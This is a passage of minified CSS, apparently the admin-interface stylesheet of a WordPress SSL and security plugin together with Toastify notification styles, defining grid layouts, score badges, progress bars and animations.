(max-width:1080px){.rsssl .rsssl-grid-item-content{padding-inline:var(--rsp-spacing-s)}}.rsssl .rsssl-grid-item-content:empty{display:none}.rsssl .rsssl-grid-item-footer{display:flex;flex-wrap:wrap;align-items:center;align-self:flex-end;justify-content:space-between;gap:var(--rsp-grid-margin);width:100%;min-height:calc(30px + var(--rsp-spacing-s) * 2);box-sizing:border-box;padding:var(--rsp-spacing-m) var(--rsp-spacing-l)}@media screen and (max-width:1280px){.rsssl .rsssl-grid-item-footer{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl .rsssl-grid-item-footer{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl .rsssl-grid-item-footer .rsssl-legend{display:flex}.rsssl .rsssl-grid-item-footer .rsssl-legend span{padding-left:5px}.rsssl .rsssl-grid-item-footer:empty{display:none}.rsssl .rsssl-grid-item .rsssl-flex-push-right{margin-left:auto}.rsssl .rsssl-grid-item .rsssl-flex-push-left{margin-right:auto}.rsssl-header-container .rsssl-header{display:flex;justify-content:space-between;height:70px;box-sizing:border-box}.rsssl-header-container .rsssl-header img{margin:auto 0;height:26px}.rsssl-header-container .rsssl-header .rsssl-header-menu{display:flex;align-items:center;height:100%;padding:0 20px;box-sizing:border-box}.rsssl-header-container .rsssl-header .rsssl-header-menu .rsssl-header-menu-item{display:flex;align-items:center;height:100%;padding:0 20px;box-sizing:border-box}.rsssl-header-container .rsssl-header .rsssl-header-menu .rsssl-header-menu-item:first-child{margin-left:0}.rsssl-header-container .rsssl-header .rsssl-header-menu .rsssl-header-menu-item:last-child{margin-right:0}.rsssl-header-container .rsssl-header .rsssl-header-menu .rsssl-header-menu-item.rsssl-header-menu-item-active{background-color:#f5f5f5}.rsssl-header-container .rsssl-header .rsssl-header-actions{display:flex;align-items:center;margin-left:auto;gap:var(--rsp-spacing-s)}.rsssl-header-container .rsssl-header .rsssl-header-actions select{max-width:60ch}.rsssl-grid .border-to-border .rsssl-grid-item-content{padding:0}.rsssl-grid .border-to-border .rsssl-grid-item-content>*{padding-inline:var(--rsp-spacing-l);width:100%;display:flex;flex-wrap:wrap;align-items:center}.rsssl-grid .border-to-border.rsssl-ssllabs .rsssl-grid-item-content>*,.rsssl-grid .border-to-border.rsssl-wpvul .rsssl-grid-item-content>*{padding-left:0;padding-right:0}.rsssl .rsssl-wpvul .rsssl-icon{margin-top:5px}.rsssl .rsssl-ssl-labs-select,.rsssl .rsssl-hardening-select{background:var(--rsp-grey-200);padding-inline:var(--rsp-spacing-l);padding-block:var(--rsp-spacing-m);display:grid;width:100%;grid-template-columns:calc(50% - var(--rsp-spacing-s) / 2) calc(50% - var(--rsp-spacing-s) / 2);gap:var(--rsp-spacing-s);transition:background-color .3s ease-in-out}.rsssl .rsssl-ssl-labs-select.rsssl-error,.rsssl .rsssl-hardening-select.rsssl-error{background:var(--rsp-red-faded)}.rsssl .rsssl-ssl-labs-select.rsssl-warning,.rsssl .rsssl-hardening-select.rsssl-warning{background:var(--rsp-yellow-faded)}.rsssl .rsssl-ssl-labs-select.rsssl-success,.rsssl .rsssl-hardening-select.rsssl-success{background:var(--rsp-green-faded)}.rsssl .rsssl-ssl-labs-select-item,.rsssl .rsssl-hardening-select-item{border-radius:var(--rsp-border-radius-xs);display:flex;flex-direction:column;justify-content:center;text-align:center;padding-block:var(--rsp-spacing-s);justify-items:center;flex-wrap:wrap;background:var(--rsp-white);min-height:118px}.rsssl .rsssl-ssl-labs-select-item.active,.rsssl .rsssl-hardening-select-item.active{box-shadow:inset 0 0 3px 2px var(--rsp-green-faded);border:2px solid var(--rsp-green)}.rsssl .rsssl-ssl-labs-select-item h2,.rsssl .rsssl-hardening-select-item h2{margin-top:var(--rsp-spacing-xxs);font-weight:800}.rsssl .rsssl-ssl-labs-select-item h2.big-number,.rsssl .rsssl-hardening-select-item h2.big-number{font-size:var(--rsp-fs-850)}.rsssl .rsssl-ssl-labs-select-item span,.rsssl .rsssl-hardening-select-item span{display:flex;gap:3px;justify-content:center;font-size:var(--rsp-fs-100)}.rsssl .rsssl-ssl-labs-list,.rsssl .rsssl-hardening-list{width:100%}.rsssl .rsssl-ssl-labs-list-item,.rsssl .rsssl-hardening-list-item{width:100%;display:grid;justify-items:flex-start;grid-template-columns:auto 1fr auto;gap:var(--rsp-spacing-s);padding-block:var(--rsp-spacing-xs);padding-inline:var(--rsp-spacing-l)}.rsssl .rsssl-ssl-labs-list-item:nth-of-type(even),.rsssl .rsssl-hardening-list-item:nth-of-type(even){background:var(--rsp-grey-200)}.rsssl .rsssl-ssl-labs-list-item-text,.rsssl .rsssl-hardening-list-item-text{width:100%;margin-right:auto}.rsssl .rsssl-ssl-labs-list-item-number,.rsssl .rsssl-hardening-list-item-number{font-weight:600}.rsssl .rsssl-ssl-labs-list-item .rsssl-icon,.rsssl .rsssl-hardening-list-item .rsssl-icon{align-items:start;margin-top:2px}.rsssl .rsssl-ssl-labs-select-item{padding-inline:var(--rsp-spacing-s);gap:var(--rsp-spacing-xxs)}.rsssl .rsssl-ssl-labs .rsssl-score-snippet{max-width:100%;overflow:hidden;text-overflow:ellipsis;height:18px;line-height:18px;padding-inline:var(--rsp-spacing-xxs);font-size:var(--rsp-fs-100);border-radius:var(--rsp-border-radius-xs);color:var(--rsp-text-color);text-align:left}.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-hover{height:initial;line-height:initial}.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-test-inactive{background-color:var(--rsp-grey-200);color:var(--rsp-color-disabled)}.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-test-processing{background-color:var(--rsp-yellow);color:var(--rsp-black)}.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-test-success{background-color:var(--rsp-color-success);color:var(--rsp-text-color-white)}.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-test-error{background-color:var(--rsp-brand-primary);color:var(--rsp-black)}.rsssl .rsssl-hardening-select-item .rsssl-badge{margin-top:var(--rsp-spacing-xxs)}.rsssl-gridblock-progress-container.rsssl-error .rsssl-gridblock-progress{background:var(--rsp-color-warning)}.rsssl-gridblock-progress-container.rsssl-inactive{height:4px;width:100%;display:flex;background:var(--rsp-grey-300)}.rsssl-gridblock-progress-container.rsssl-inactive .rsssl-gridblock-progress{transition:width 1s ease-in-out;background:var(--rsp-green)}.rsssl .rsssl-field-button button.button{display:flex}.rsssl a.button,.rsssl button.button,.rsssl input.button,.rsssl span.button{font-size:var(--rsp-fs-300);font-weight:400;transition:all .3s ease;min-height:10px}.rsssl a.button.button-secondary,.rsssl a.button.button-default,.rsssl button.button.button-secondary,.rsssl button.button.button-default,.rsssl input.button.button-secondary,.rsssl input.button.button-default,.rsssl span.button.button-secondary,.rsssl span.button.button-default{background:transparent}.rsssl a.button .rsssl-icon,.rsssl button.button .rsssl-icon,.rsssl input.button .rsssl-icon,.rsssl span.button .rsssl-icon{padding-top:7px;padding-left:7px}.rsssl a.button.button-black,.rsssl button.button.button-black,.rsssl input.button.button-black,.rsssl span.button.button-black{border:1px solid var(--rsp-black);background:var(--rsp-black);color:var(--rsp-text-color-white)}.rsssl a.button.button-tertiary,.rsssl a.button.button-red,.rsssl button.button.button-tertiary,.rsssl button.button.button-red,.rsssl input.button.button-tertiary,.rsssl input.button.button-red,.rsssl span.button.button-tertiary,.rsssl span.button.button-red{border:0 solid transparent;background:var(--rsp-red);color:var(--rsp-text-color-white)}.rsssl a.button.button-primary:hover,.rsssl a.button.button-primary:focus,.rsssl a.button.button-primary:active,.rsssl button.button.button-primary:hover,.rsssl button.button.button-primary:focus,.rsssl button.button.button-primary:active,.rsssl input.button.button-primary:hover,.rsssl input.button.button-primary:focus,.rsssl input.button.button-primary:active,.rsssl span.button.button-primary:hover,.rsssl span.button.button-primary:focus,.rsssl span.button.button-primary:active{box-shadow:none}.rsssl a.button.button-secondary:hover,.rsssl a.button.button-secondary:focus,.rsssl a.button.button-secondary:active,.rsssl button.button.button-secondary:hover,.rsssl button.button.button-secondary:focus,.rsssl button.button.button-secondary:active,.rsssl input.button.button-secondary:hover,.rsssl input.button.button-secondary:focus,.rsssl input.button.button-secondary:active,.rsssl span.button.button-secondary:hover,.rsssl span.button.button-secondary:focus,.rsssl span.button.button-secondary:active{box-shadow:none}.rsssl a.rsssl-button-small,.rsssl button.rsssl-button-small,.rsssl input.rsssl-button-small{font-size:var(--rsp-fs-100);font-weight:300;min-height:auto}.rsssl .rsssl-button-small+.rsssl-button-small{margin-left:10px}.rsssl .rsssl-shortcode{right:10000px;position:absolute;background-color:#fff;padding:0;white-space:nowrap}.rsssl .shortcode{cursor:pointer}.rsssl .rsssl-action-buttons{display:flex;justify-content:flex-end}.rsssl .rsssl-action-buttons__inner{display:flex;justify-content:flex-end}.rsssl .rsssl-action-buttons__inner{float:right}.rsssl .rsssl-action-buttons__button{margin-right:10px}.rsssl .rsssl-action-buttons__inner:last-child{margin-right:0}.rsssl .rsssl-mixed-content-scan .rsssl-grid-item-content-footer{margin-left:0;margin-right:0;padding-left:25px}.rsssl .rsssl-mixed-content-scan .rsssl-grid-item-content-footer .button{display:block;margin-right:0;margin-left:0}.rsssl .rsssl-mixed-content-scan .rsssl-grid-item-content-footer .components-toggle-control{margin-top:12px}.rsssl .rsssl-mixed-content-scan .rsssl-grid-item-content-footer label{display:flex;align-items:center;justify-content:center}.rsssl .rsssl-bullet{height:13px;width:13px;flex:0 0 13px;border-radius:50%;display:inline-block;background-color:var(--rsp-grey-300)}.rsssl .rsssl-bullet.rsp-yellow{background-color:var(--rsp-yellow)}.rsssl .rsssl-bullet.rsp-blue{background-color:var(--rsp-blue)}.rsssl .rsssl-bullet.rsp-pink{background-color:var(--rsp-pink)}.rsssl .rsssl-bullet.rsp-red,.rsssl .rsssl-bullet.rsssl-bullet-error{background-color:var(--rsp-red)}.rsssl .rsssl-bullet.rsp-green,.rsssl .rsssl-bullet.rsssl-bullet-success{background-color:var(--rsp-green)}.rsssl .rsssl-bullet.rsp-blue-yellow{background:var(--rsp-blue);background:linear-gradient(77deg,#009fff 0,#009fff 30%,#f4bf3e 70%,#f4bf3e 100%);animation:gradient 2s ease infinite;background-size:200% 200%}.rsssl .rsssl-legend{display:flex;width:max-content;color:var(--rsp-text-color-light);align-items:center;min-width:0;gap:var(--rsp-spacing-xxs);text-decoration:none}.rsssl .rsssl-legend:first-of-type{margin-left:auto}.rsssl .rsssl-legend .rsssl-progress-footer-link a{color:inherit;text-decoration:none}.rsssl .rsssl-legend .rsssl-progress-footer-link a:hover{text-decoration:underline}@keyframes gradient{0%{background-position:0 50%}50%{background-position:100% 50%}100%{background-position:0 50%}}.rsssl-icon{display:flex;align-items:center;justify-content:center}.rsssl-icon>div{display:flex}.rsssl-icon svg{fill:currentColor}.rsssl-icon-loading svg{animation:spin 2s linear infinite}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}.rsssl-icon.rsssl-click-animation{animation:beat .4s ease-out}button.button .cmplz-icon.rsssl-icon-loading{padding-top:6px}button.button .cmplz-icon.rsssl-icon-loading>div{line-height:inherit}.rsssl .rsssl-badge{--badge-height:20px;height:var(--badge-height);line-height:var(--badge-height);padding-inline:8px;min-width:100px;text-align:center;border-radius:var(--rsp-border-radius-xs);color:var(--rsp-white);display:table;margin:auto auto;font-size:var(--rsp-fs-100)}.rsssl .rsssl-badge.rsp-dark{background-color:var(--rsp-black);color:var(--rsp-white)}.rsssl .rsssl-badge.rsp-low{background-color:var(--rsp-yellow-faded);color:var(--rsp-black)}.rsssl .rsssl-badge.rsp-medium{background-color:var(--rsp-yellow);color:var(--rsp-black)}.rsssl .rsssl-badge.rsp-high{background-color:var(--rsp-red-faded);color:var(--rsp-black)}.rsssl .rsssl-badge.rsp-critical{background-color:var(--rsp-red);color:var(--rsp-white)}.rsssl .rsssl-badge.rsp-success{background-color:var(--rsp-color-success);color:var(--rsp-white)}.rsssl .rsssl-badge.rsp-default{background-color:var(--rsp-grey-200);color:black}.rsssl .rsssl-badge-large{--badge-height:28px;height:var(--badge-height);line-height:var(--badge-height);padding:0 10px;min-width:80px;text-align:center;border-radius:var(--rsp-border-radius-xs);color:var(--rsp-white);display:table;margin:auto auto;font-size:var(--rsp-fs-300);font-weight:400}.rsssl .rsssl-badge-large.rsp-dark{background-color:var(--rsp-black);color:var(--rsp-white)}.rsssl .rsssl-badge-large.rsp-risk-level-l{background-color:var(--rsp-yellow-faded);color:var(--rsp-black)}.rsssl .rsssl-badge-large.rsp-risk-level-m{background-color:var(--rsp-yellow);color:var(--rsp-black)}.rsssl .rsssl-badge-large.rsp-risk-level-h{background-color:var(--rsp-red-faded);color:var(--rsp-black)}.rsssl .rsssl-badge-large.rsp-risk-level-c{background-color:var(--rsp-red);color:var(--rsp-white)}.rsssl .rsssl-badge-large.rsp-success{background-color:var(--rsp-color-success);color:var(--rsp-white)}.rsssl .rsssl-badge-large.rsp-default{background-color:var(--rsp-grey-200);color:black}:root{--toastify-color-light:var(--rsp-white);--toastify-color-dark:var(--rsp-black);--toastify-color-info:var(--rsp-yellow);--toastify-color-success:var(--rsp-green);--toastify-color-warning:var(--rsp-orange);--toastify-color-error:var(--rsp-red);--toastify-color-transparent:rgba(255,255,255,0.7);--toastify-icon-color-info:var(--toastify-color-info);--toastify-icon-color-success:var(--rsp-green);--toastify-icon-color-warning:var(--toastify-color-warning);--toastify-icon-color-error:var(--toastify-color-error);--toastify-toast-width:320px;--toastify-toast-background:#fff;--toastify-toast-min-height:42px;--toastify-toast-max-height:800px;--toastify-font-family:sans-serif;--toastify-z-index:999999;--toastify-text-color-light:var(--rsp-text-color);--toastify-text-color-dark:var(--rsp-text-color-white);--toastify-text-color-info:#fff;--toastify-text-color-success:#fff;--toastify-text-color-warning:#fff;--toastify-text-color-error:#fff;--toastify-spinner-color:#616161;--toastify-spinner-color-empty-area:#e0e0e0;--toastify-color-progress-light:linear-gradient(to right,var(--rsp-green),#5ac8fa,#007aff,#34aadc,#5856d6,#ff2d55);--toastify-color-progress-dark:#bb86fc;--toastify-color-progress-info:var(--toastify-color-info);--toastify-color-progress-success:var(--rsp-green);--toastify-color-progress-warning:var(--toastify-color-warning);--toastify-color-progress-error:var(--toastify-color-error)}.Toastify__toast-container{z-index:var(--toastify-z-index);-webkit-transform:translate3d(0,0,var(--toastify-z-index) px);position:fixed;padding:4px;width:var(--toastify-toast-width);box-sizing:border-box;color:#fff}.Toastify__toast-container--top-left{top:1em;left:1em}.Toastify__toast-container--top-center{top:calc(2em + 32px);left:50%;transform:translateX(-50%)}.Toastify__toast-container--top-right{top:1em;right:1em}.Toastify__toast-container--bottom-left{bottom:1em;left:1em}.Toastify__toast-container--bottom-center{bottom:1em;left:50%;transform:translateX(-50%)}.Toastify__toast-container--bottom-right{bottom:1em;right:1em}@media only screen and (max-width :480px){.Toastify__toast-container{width:100vw;padding:0;left:0;margin:0}.Toastify__toast-container--top-left,.Toastify__toast-container--top-center,.Toastify__toast-container--top-right{top:0;transform:translateX(0)}.Toastify__toast-container--bottom-left,.Toastify__toast-container--bottom-center,.Toastify__toast-container--bottom-right{bottom:0;transform:translateX(0)}.Toastify__toast-container--rtl{right:0;left:initial}}.Toastify__toast{position:relative;min-height:var(--toastify-toast-min-height);box-sizing:border-box;margin-bottom:1rem;padding:8px;border-radius:var(--rsp-border-radius);border:1px solid #eee;box-shadow:0 1px 10px 0 rgba(0,0,0,0.1),0 2px 15px 0 rgba(0,0,0,0.05);box-shadow:var(--rsp-box-shadow);display:flex;justify-content:space-between;max-height:var(--toastify-toast-max-height);overflow:hidden;font-family:var(--toastify-font-family);cursor:default;direction:ltr;z-index:0}.Toastify__toast--rtl{direction:rtl}.Toastify__toast--close-on-click{cursor:pointer}.Toastify__toast-body{margin:auto 0;flex:1 1 auto;padding:6px;display:flex;align-items:center}.Toastify__toast-body>div:last-child{word-break:break-word;flex:1}.Toastify__toast-icon{margin-inline-end:10px;width:20px;flex-shrink:0;display:flex}.Toastify--animate{animation-fill-mode:both;animation-duration:.7s}.Toastify--animate-icon{animation-fill-mode:both;animation-duration:.3s}@media only screen and (max-width :480px){.Toastify__toast{margin-bottom:0;border-radius:0}}.Toastify__toast-theme--dark{background:var(--toastify-color-dark);color:var(--toastify-text-color-dark)}.Toastify__toast-theme--light{background:var(--toastify-color-light);color:var(--toastify-text-color-light)}.Toastify__toast-theme--colored.Toastify__toast--default{background:var(--toastify-color-light);color:var(--toastify-text-color-light)}.Toastify__toast-theme--colored.Toastify__toast--info{color:var(--toastify-text-color-info);background:var(--toastify-color-info)}.Toastify__toast-theme--colored.Toastify__toast--success{color:var(--toastify-text-color-success);background:var(--rsp-green)}.Toastify__toast-theme--colored.Toastify__toast--warning{color:var(--toastify-text-color-warning);background:var(--toastify-color-warning)}.Toastify__toast-theme--colored.Toastify__toast--error{color:var(--toastify-text-color-error);background:var(--toastify-color-error)}.Toastify__progress-bar-theme--light{background:var(--toastify-color-progress-light)}.Toastify__progress-bar-theme--dark{background:var(--toastify-color-progress-dark)}.Toastify__progress-bar--info{background:var(--toastify-color-progress-info)}.Toastify__progress-bar--success{background:var(--toastify-color-progress-success)}.Toastify__progress-bar--warning{background:var(--toastify-color-progress-warning)}.Toastify__progress-bar--error{background:var(--toastify-color-progress-error)}.Toastify__progress-bar-theme--colored.Toastify__progress-bar--info,.Toastify__progress-bar-theme--colored.Toastify__progress-bar--success,.Toastify__progress-bar-theme--colored.Toastify__progress-bar--warning,.Toastify__progress-bar-theme--colored.Toastify__progress-bar--error{background:var(--toastify-color-transparent)}.Toastify__close-button{color:#fff;background:transparent;outline:0;border:0;padding:0;cursor:pointer;opacity:.7;transition:.3s ease;align-self:flex-start}.Toastify__close-button--light{color:#000;opacity:.3}.Toastify__close-button>svg{fill:currentColor;height:16px;width:14px}.Toastify__close-button:hover,.Toastify__close-button:focus{opacity:1}@keyframes toastify__trackProgress{0%{transform:scaleX(1)}100%{transform:scaleX(0)}}.Toastify__progress-bar{position:absolute;bottom:0;left:0;width:100%;height:5px;z-index:var(--toastify-z-index);opacity:.7;transform-origin:left}.Toastify__progress-bar--animated{animation:toastify__trackProgress linear 1 forwards}.Toastify__progress-bar--controlled{transition:transform .2s}.Toastify__progress-bar--rtl{right:0;left:initial;transform-origin:right}.Toastify__spinner{width:20px;height:20px;box-sizing:border-box;border:2px solid;border-radius:100%;border-color:var(--toastify-spinner-color-empty-area);border-right-color:var(--toastify-spinner-color);animation:toastify__spin .65s linear infinite}@keyframes toastify__bounceInRight{from,60%,75%,90%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1)}from{opacity:0;transform:translate3d(3000px,0,0)}60%{opacity:1;transform:translate3d(-25px,0,0)}75%{transform:translate3d(10px,0,0)}90%{transform:translate3d(-5px,0,0)}to{transform:none}}@keyframes toastify__bounceOutRight{20%{opacity:1;transform:translate3d(-20px,0,0)}to{opacity:0;transform:translate3d(2000px,0,0)}}@keyframes toastify__bounceInLeft{from,60%,75%,90%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1)}0%{opacity:0;transform:translate3d(-3000px,0,0)}60%{opacity:1;transform:translate3d(25px,0,0)}75%{transform:translate3d(-10px,0,0)}90%{transform:translate3d(5px,0,0)}to{transform:none}}@keyframes toastify__bounceOutLeft{20%{opacity:1;transform:translate3d(20px,0,0)}to{opacity:0;transform:translate3d(-2000px,0,0)}}@keyframes toastify__bounceInUp{from,60%,75%,90%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1)}from{opacity:0;transform:translate3d(0,3000px,0)}60%{opacity:1;transform:translate3d(0,-20px,0)}75%{transform:translate3d(0,10px,0)}90%{transform:translate3d(0,-5px,0)}to{transform:translate3d(0,0,0)}}@keyframes toastify__bounceOutUp{20%{transform:translate3d(0,-10px,0)}40%,45%{opacity:1;transform:translate3d(0,20px,0)}to{opacity:0;transform:translate3d(0,-2000px,0)}}@keyframes toastify__bounceInDown{from,60%,75%,90%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1)}0{opacity:0;transform:translate3d(0,-3000px,0)}60%{opacity:1;transform:translate3d(0,25px,0)}75%{transform:translate3d(0,-10px,0)}90%{transform:translate3d(0,5px,0)}to{transform:none}}@keyframes toastify__bounceOutDown{20%{transform:translate3d(0,10px,0)}40%,45%{opacity:1;transform:translate3d(0,-20px,0)}to{opacity:0;transform:translate3d(0,2000px,0)}}.Toastify__bounce-enter--top-left,.Toastify__bounce-enter--bottom-left{animation-name:toastify__bounceInLeft}.Toastify__bounce-enter--top-right,.Toastify__bounce-enter--bottom-right{animation-name:toastify__bounceInRight}.Toastify__bounce-enter--top-center{animation-name:toastify__bounceInDown}.Toastify__bounce-enter--bottom-center{animation-name:toastify__bounceInUp}.Toastify__bounce-exit--top-left,.Toastify__bounce-exit--bottom-left{animation-name:toastify__bounceOutLeft}.Toastify__bounce-exit--top-right,.Toastify__bounce-exit--bottom-right{animation-name:toastify__bounceOutRight}.Toastify__bounce-exit--top-center{animation-name:toastify__bounceOutUp}.Toastify__bounce-exit--bottom-center{animation-name:toastify__bounceOutDown}@keyframes toastify__zoomIn{from{opacity:0;transform:scale3d(0.3,0.3,0.3)}50%{opacity:1}}@keyframes toastify__zoomOut{from{opacity:1}50%{opacity:0;transform:scale3d(0.3,0.3,0.3)}to{opacity:0}}.Toastify__zoom-enter{animation-name:toastify__zoomIn}.Toastify__zoom-exit{animation-name:toastify__zoomOut}@keyframes toastify__flipIn{from{transform:perspective(400px) rotate3d(1,0,0,90deg);animation-timing-function:ease-in;opacity:0}40%{transform:perspective(400px) rotate3d(1,0,0,-20deg);animation-timing-function:ease-in}60%{transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{transform:perspective(400px) rotate3d(1,0,0,-5deg)}to{transform:perspective(400px)}}@keyframes toastify__flipOut{from{transform:perspective(400px)}30%{transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}to{transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}.Toastify__flip-enter{animation-name:toastify__flipIn}.Toastify__flip-exit{animation-name:toastify__flipOut}@keyframes toastify__slideInRight{from{transform:translate3d(110%,0,0);visibility:visible}to{transform:translate3d(0,0,0)}}@keyframes toastify__slideInLeft{from{transform:translate3d(-110%,0,0);visibility:visible}to{transform:translate3d(0,0,0)}}@keyframes toastify__slideInUp{from{transform:translate3d(0,110%,0);visibility:visible}to{transform:translate3d(0,0,0)}}@keyframes toastify__slideInDown{from{transform:translate3d(0,-110%,0);visibility:visible}to{transform:translate3d(0,0,0)}}@keyframes toastify__slideOutRight{from{transform:translate3d(0,0,0)}to{visibility:hidden;transform:translate3d(110%,0,0)}}@keyframes toastify__slideOutLeft{from{transform:translate3d(0,0,0)}to{visibility:hidden;transform:translate3d(-110%,0,0)}}@keyframes toastify__slideOutDown{from{transform:translate3d(0,0,0)}to{visibility:hidden;transform:translate3d(0,500px,0)}}@keyframes toastify__slideOutUp{from{transform:translate3d(0,0,0)}to{visibility:hidden;transform:translate3d(0,-500px,0)}}.Toastify__slide-enter--top-left,.Toastify__slide-enter--bottom-left{animation-name:toastify__slideInLeft}.Toastify__slide-enter--top-right,.Toastify__slide-enter--bottom-right{animation-name:toastify__slideInRight}.Toastify__slide-enter--top-center{animation-name:toastify__slideInDown}.Toastify__slide-enter--bottom-center{animation-name:toastify__slideInUp}.Toastify__slide-exit--top-left,.Toastify__slide-exit--bottom-left{animation-name:toastify__slideOutLeft}.Toastify__slide-exit--top-right,.Toastify__slide-exit--bottom-right{animation-name:toastify__slideOutRight}.Toastify__slide-exit--top-center{animation-name:toastify__slideOutUp}.Toastify__slide-exit--bottom-center{animation-name:toastify__slideOutDown}@keyframes toastify__spin{from{transform:rotate(0)}to{transform:rotate(360deg)}}.rsssl-modal.rsssl-onboarding{width:clamp(300px,100ch,100vw);padding-top:var(--rsp-spacing-m);line-height:2.2;min-height:295px}.rsssl-modal.rsssl-onboarding .rsssl-logo{height:26px}.rsssl-modal.rsssl-onboarding .rsssl-modal-content{display:flex;min-height:295px}.rsssl-modal.rsssl-onboarding .rsssl-modal-content .rsssl-onboarding-placeholder{flex-grow:1}.rsssl-modal.rsssl-onboarding .rsssl-modal-content-step{display:flex;flex-direction:column;width:100%}.rsssl-modal.rsssl-onboarding .rsssl-modal-content .rsssl-processing{opacity:.5}.rsssl-modal.rsssl-onboarding .rsssl-modal-content ul li .rsssl-icon{margin-top:7px}.rsssl-modal.rsssl-onboarding .rsssl-modal-content ul li .components-button.is-link{padding:5px 0}.rsssl-grid-item.rsssl-progress .rsssl-grid-item-content{padding:0}.rsssl-grid-item.rsssl-progress .rsssl-placeholder{padding:var(--rsp-spacing-m) var(--rsp-spacing-l)}@media screen and (max-width:1280px){.rsssl-grid-item.rsssl-progress .rsssl-placeholder{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl-grid-item.rsssl-progress .rsssl-placeholder{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl-progress-block .rsssl-progress{overflow:hidden;height:20px;border-radius:5px;background-color:#f7f7f7}.rsssl-progress-block .rsssl-progress .rsssl-bar{height:100%;background-color:var(--rsp-color-success);transition:width 1s ease}.rsssl-progress-block .rsssl-progress .rsssl-bar.rsssl-orange{background-color:var(--rsp-color-warning)}.rsssl-progress-block .rsssl-progress-bar{padding:var(--rsp-spacing-m) var(--rsp-spacing-l);padding-block:0;border-radius:5px}@media screen and (max-width:1280px){.rsssl-progress-block .rsssl-progress-bar{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl-progress-block .rsssl-progress-bar{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl-progress-block .rsssl-progress-text{display:flex;align-items:center;padding:var(--rsp-spacing-m) var(--rsp-spacing-l);padding-block:var(--rsp-spacing-s);justify-content:flex-start;gap:var(--rsp-spacing-m)}@media screen and (max-width:1280px){.rsssl-progress-block .rsssl-progress-text{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl-progress-block .rsssl-progress-text{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl-progress-block .rsssl-progress-text .rsssl-progress-percentage{font-size:var(--rsp-fs-800);font-weight:700}.rsssl-progress-block .rsssl-progress-text .rsssl-progress-text-span{font-weight:500;font-size:var(--rsp-fs-600)}.rsssl-progress-block .rsssl-progress-text .rsssl-progress-text-span a{margin-left:3px}@media only screen and (max-width:1366px) and (min-width:1280px){.rsssl-progress-block .rsssl-progress-text .rsssl-progress-text-span{font-size:var(--rsp-fs-500)}}.rsssl-header-html{display:flex;color:var(--rsp-text-color-light)}.rsssl-header-html .rsssl-toggle-active{text-decoration:underline}.rsssl-task-switcher-container{display:flex;border-radius:var(--rsp-border-radius)}.rsssl-task-switcher-container .rsssl-task-switcher:first-of-type{border-right:1px solid var(--rsp-grey-400);padding-right:10px}.rsssl-task-switcher-container .rsssl-task-switcher:last-of-type{padding-left:10px}.rsssl-task-switcher{font-size:var(--rsp-fs-200);cursor:pointer;transition:.3s}.rsssl-task-switcher:hover{text-decoration:underline}.rsssl-active-filter-remaining .rsssl-remaining-tasks,.rsssl-active-filter-all .rsssl-all-tasks{text-decoration:underline}.rsssl-task-element{display:flex;align-items:flex-start;justify-content:center;gap:var(--rsp-spacing-m);padding-bottom:var(--rsp-spacing-s)}@media(max-width:1280px){.rsssl-task-element{gap:var(--rsp-spacing-xs)}}.rsssl-task-element .rsssl-task-message{flex:1;font-size:var(--rsp-fs-300)}.rsssl-task-element .rsssl-task-form{margin-top:var(--rsp-spacing-xxs);display:flex;gap:var(--rsp-spacing-xs)}.rsssl-task-element .rsssl-task-enable{cursor:pointer;line-height:1.5}.rsssl-task-element .rsssl-task-enable .rsssl-icon.rsssl-icon-loading{padding:3px}.rsssl-task-element .rsssl-task-dismiss:hover{transform:scale(1.1)}.rsssl-task-element .rsssl-task-dismiss button{all:initial;cursor:pointer;padding:4px}.rsssl-task-element .rsssl-task-dismiss svg{height:12px;width:12px}.rsssl-scroll-container{padding:var(--rsp-spacing-m) var(--rsp-spacing-l);height:230px;overflow-y:auto;padding-block:0;padding-top:var(--rsp-spacing-s);border-radius:0}@media screen and (max-width:1280px){.rsssl-scroll-container{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl-scroll-container{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl-scroll-container::-webkit-scrollbar-track{border-radius:10px;-webkit-box-shadow:inset 0 0 2px rgba(0,0,0,0);background-color:transparent}.rsssl-scroll-container::-webkit-scrollbar{width:8px;border-radius:10px;background-color:var(--rsp-grey-300)}.rsssl-scroll-container::-webkit-scrollbar-thumb{background-color:var(--rsp-grey-400);border-radius:10px}.rsssl-progress-status-container{margin-right:40px}.rsssl-task-status,.rsssl-locked-overlay .rsssl-progress-status{display:block;min-width:100px;text-align:center;border-radius:var(--rsp-border-radius-xs);padding:4px 8px;font-size:var(--rsp-fs-100);font-weight:600}@media(max-width:1280px){.rsssl-task-status,.rsssl-locked-overlay .rsssl-progress-status{min-width:80px}}.rsssl-task-status.rsssl-completed,.rsssl-locked-overlay .rsssl-completed.rsssl-progress-status,.rsssl-task-status.rsssl-success,.rsssl-locked-overlay .rsssl-success.rsssl-progress-status{background-color:var(--rsp-color-success);color:var(--rsp-text-color-white)}.rsssl-task-status.rsssl-open,.rsssl-locked-overlay .rsssl-open.rsssl-progress-status{background-color:var(--rsp-color-open)}.rsssl-task-status.rsssl-warning,.rsssl-locked-overlay 